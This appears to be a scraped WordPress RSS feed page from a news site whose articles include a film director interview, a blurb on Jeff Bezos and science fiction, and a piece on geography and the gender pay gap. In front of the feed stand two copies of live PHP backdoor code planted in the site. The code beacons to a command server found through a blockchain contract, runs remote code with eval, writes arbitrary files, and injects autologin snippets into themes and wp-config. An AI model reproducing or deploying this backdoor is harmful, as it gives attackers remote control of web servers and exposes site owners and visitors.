// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Influenced – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 26 Sep 2022 15:00:40 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Influenced – Brief News https://briefnews.eu 32 32 Section 8’s Christian Sesma on how ’80s movies influenced his filmmaking https://briefnews.eu/section-8s-christian-sesma-on-how-80s-movies-influenced-his-filmmaking/ https://briefnews.eu/section-8s-christian-sesma-on-how-80s-movies-influenced-his-filmmaking/#respond Mon, 26 Sep 2022 15:00:40 +0000 https://briefnews.eu/section-8s-christian-sesma-on-how-80s-movies-influenced-his-filmmaking/ Christian Sesma is an ’80s kid, which explains why he’s eager to mention Aliens, Die Hard, and Indiana Jones as influential movies in his career. Sesma wants to create mainstream entertainment, and his latest directed film, Section 8, falls in line with those interests. In Section 8, Ryan Kwanten plays Jake Atherton, an ex-special forces soldier struggling to adjust to life at home. When his wife and son are murdered, Jake is hellbent on revenge, and his violent actions put him in prison.

While incarcerated, Jake is recruited by Sam Ramsey (Dermot Mulroney), the leader of a mysterious agency called Section 8, which eliminates powerful people around the world. When he learns the true nature of Section 8, Jake must decide if the life of an assassin is one he wants to live. Dolph Lundgren co-stars along with Scott Adkins and Mickey Rourke.

In conversation with Digital Trends, Sesma discusses his love for the ’80s, praises Kwanten’s talent, and reveals how he shot an integral fight sequence in Section 8.

Ryan Kwanten and his family embrace in a scene from Section 8.

Note: This interview has been condensed and edited for length and clarity. 

Digital Trends: A lot of your films apply a mainstream style of filmmaking. Why does this style appeal to you as a filmmaker?

I’m an ’80s kid. I grew up with Spielberg, John McTiernan, Lucas, Cameron, all those kinds of guys. You’re talking to a guy who, as a kid, watched Aliens, Die Hard, Indiana Jones, and all that stuff. That kind of escapist popcorn film is really ingrained in who I am as a storyteller, and I really think there’s a lot of fun to be had there. That’s the kind of film I enjoy, and I think every filmmaker is influenced by what they were influenced by as a kid, really. Whatever enchants you as a child, I think, will come out in who you are as a filmmaker.

Looking at your filmography, you’ve written and directed most of your projects, but you didn’t write Section 8. What do you look for in a script when it’s not yours?

Christian Sesma: The blueprint of it has to make sense for me. As kind of granular as it sounds, see what I can get excited for from my own movie nerdiness. [Laughs] I’m just a movie nerd at heart so something has to go, “Oh, dude. I can make that. That’s going to be like a mini-Mission Impossible or something.” I have to kind of wrap my head around it that way, and then I take the script and flesh it out from there.

Chad Law is a fantastic writer. We’re good friends in real life. He brought me this project along with Brandon Burrows, the movie’s producer. They were like, “We really think we can make something cool here. We’re putting together a pretty cool package.” It was something that I felt I could do something with on the scope, but also really just at a human level with Ryan Kwanten and his family and all that stuff.

Scott Adkins points a gun in a scene from Section 8.

I recently spoke to Ryan about another film, Glorious. Now, he’s the star of this action thriller. My biggest takeaway from talking to him was his commitment level to a project. That as soon as he buys in, he’s in, and he gives it his all. What stood out to you about Ryan during this process?

Exactly what you just said. Ryan is a dream lead to work with. He’s a phenomenal talent and human being. He gives it his all. I come from guerilla filmmaking. I’m self-taught so Ryan was super game to just get loose with a lot of things that other actors or people wouldn’t be so up for. I was able to shoot a lot of this in my backyard in the Coachella Valley and the Palm Springs area. A lot of this was like, “Hey. Let’s go grab these shots.”

A lot of this stuff was also improvised. There are a lot of unscripted elements that Ryan and I were really excited to explore so that was really fun. Because he’s all in, and because we kind of connected and we understood each other’s ideas for this movie, it really made it a true pleasure working with him, which is something that, for a director, makes all the difference in the world. When your lead is all in, that helps you tremendously.

With your directing style, how do you approach unscripted moments? Do you like to shoot what’s in the script first, and then give the actors a few takes to play around with ideas?

Yeah. I mean there’s that. We definitely use the script as our guideline and blueprint. Sometimes, there’s some room to play around the edges. Sometimes, there’s stuff that I feel we could add to the script, like flashbacks of the family, and his relationship with his wife and son. When you’re going through that, you start getting ideas of what could help make this better.

SECTION 8 | Official Trailer

Section 8 has a lot of fight sequences. Take me through the process of directing a fight scene. Are you working in tandem with the stunt coordinators to choreograph every move?

Yeah. Let’s say the end sequence fight with Scott Adkins. That’s all previs out with the stunt coordinator and their team. They go through the choreography, and we’re able to work on it a couple of weeks before. Then Scott gets to set. We start working out the kinks, and then you start shooting it based on what’s called previs, which is basically like a visual storyboard. Then, you just start doing almost like a paint-by-numbers because we’ve already worked out the angles for the shots. Now, you’re doing it for real with the real cameras and lighting and crew and wardrobe. So it really is very pre-planned stuff.

What type of action sequence do you prefer? Are you a long car chase sequence guy, or a big gunfight? Maybe just good old-fashioned hand-to-hand combat?

Hmm. Good question. I probably prefer spaceships or robots. [Laughs] Good ol’ space battles. A good ol’ lightsaber battle. I don’t think you can beat a swordfight or lightsaber battle.

In action movies, a common critique usually involves the story, character development, and dialogue. Maybe the film didn’t have enough dialogue or character development and focused too much on the action sequences or vice versa. Maybe the dialogue was great, but it lacked action. How do you find a healthy balance between the action and the quieter moments?

Again, I think that goes with experience. Early on, maybe I’d be so excited to shoot an action sequence that I would miss the dramatic beats or vice versa. I think now when I’m approaching an action movie, I’ll know that the action movie has plenty of action beats in it so I’ll double down on the dramatic beats. So I know in editorial, we’ll have enough to balance them both.

Dolph Lundgren firmly stares in a scene from Section 8.

Did you have a favorite scene to shoot for this film?

To be honest, I really couldn’t wait to get the family stuff done. That was probably the most exciting stuff. I know if that didn’t work and if I didn’t grab you, then you’re just kind of checked out for just another gunfight. I felt like from the moment he gets home to his final cathartic moment in the nightclub where he catches up with the guy who killed his kid, that’s just one big sequence.

That’s a sequence that I really, really like personally because it’s emotional, suspenseful, [and] dramatic. There are some action beats there. I felt like if that wasn’t done the way I wanted it to be done, I don’t know if anybody would be along fully for the right after that. People might have checked out.

Section 8 is now in theaters and streaming on AMC+.

]]> https://briefnews.eu/section-8s-christian-sesma-on-how-80s-movies-influenced-his-filmmaking/feed/ 0 How ‘Star Trek’ and Sci-Fi Influenced Jeff Bezos https://briefnews.eu/how-star-trek-and-sci-fi-influenced-jeff-bezos/ https://briefnews.eu/how-star-trek-and-sci-fi-influenced-jeff-bezos/#respond Sat, 26 Jan 2019 14:47:26 +0000 http://briefnews.eu/how-star-trek-and-sci-fi-influenced-jeff-bezos/ The Amazon founder spent his summers reading Asimov and has named pets and companies after ‘Star Trek’ characters.


https://media.wired.com/photos/5c4a1fa640ef432d22a5420f/master/pass/Culture_GeeksGuide_Bezos.jpg

]]> https://briefnews.eu/how-star-trek-and-sci-fi-influenced-jeff-bezos/feed/ 0 A Woman’s Paycheck Is Influenced by Her Hometown—Even If She Doesn’t Live There Anymore https://briefnews.eu/a-womans-paycheck-is-influenced-by-her-hometown-even-if-she-doesnt-live-there-anymore/ https://briefnews.eu/a-womans-paycheck-is-influenced-by-her-hometown-even-if-she-doesnt-live-there-anymore/#respond Tue, 21 Aug 2018 09:58:13 +0000 http://briefnews.eu/a-womans-paycheck-is-influenced-by-her-hometown-even-if-she-doesnt-live-there-anymore/ At this point, the fact that women in the United States earn about about 80 cents to each dollar earned by men is so commonly known that it’s become both a perverse, if slightly tired, punch line and a litmus test in the culture wars.

But there’s plenty of variation under that top-line statistic. The wage gap is worse, for example, for women of color and for all women in prestigious, well-paying fields like finance and law. Even less often discussed: Geography accounts for 0.3 percent of the gap between male and female wages—which doesn’t sound like a lot, but adds up to more than $ 2 billion a year nationwide. In Montana, women earn 73 cents to the dollar on average; in Louisiana, they earn 69 cents.

One common explanation for the geographical differences is the fact that some states set a minimum wage that is higher than the national minimum wage. Since women make up nearly two-thirds of minimum-wage workers, those states’ policies raise the pay, on average, of female workers. This would seem to suggest that if a women wants to earn more, she can simply pick up and move elsewhere. But a working paper published Monday by three economists—Kerwin Kofi Charles of the University of Chicago, Jonathan Guryan of Northwestern University, and Jessica Pan of the National University of Singapore—complicates that notion.

What gender pay-gap statistics aren’t capturing

Charles and his colleagues wanted to find out how sexism in a person’s birth state—as measured by people’s answers to survey questions about gender roles, such as, “Would you vote a female for President?”—might affect her workforce participation and earnings relative to men, even after she moves to another state. They studied groups of men and women who were born in one state but were living in another (focusing only on white people, to isolate gender effects from racial ones), and found that, on average, a difference of one standard deviation in the home states’ level of sexism—the difference between, say, California and Mississippi, or between Minnesota and Texas—accounted for a 0.8 percent drop in women’s participation in the labor force. The women from places with more sexist attitudes tended to earn less, too. “Where you live now matters more—but where you’re from matters a lot,” Charles told me.

The economists didn’t research why this was the case, but Charles theorized that it had something to do with the persistence of the cultural values we’re exposed to when we’re young. “My taste for a particular cuisine and my accent—there’s a little bit that I carry with me,” he told me. The same could be true, he said, of attitudes about a woman’s societal role—the age at which she should marry and bear children, for example, or the acceptability of negotiating for higher wages at work.

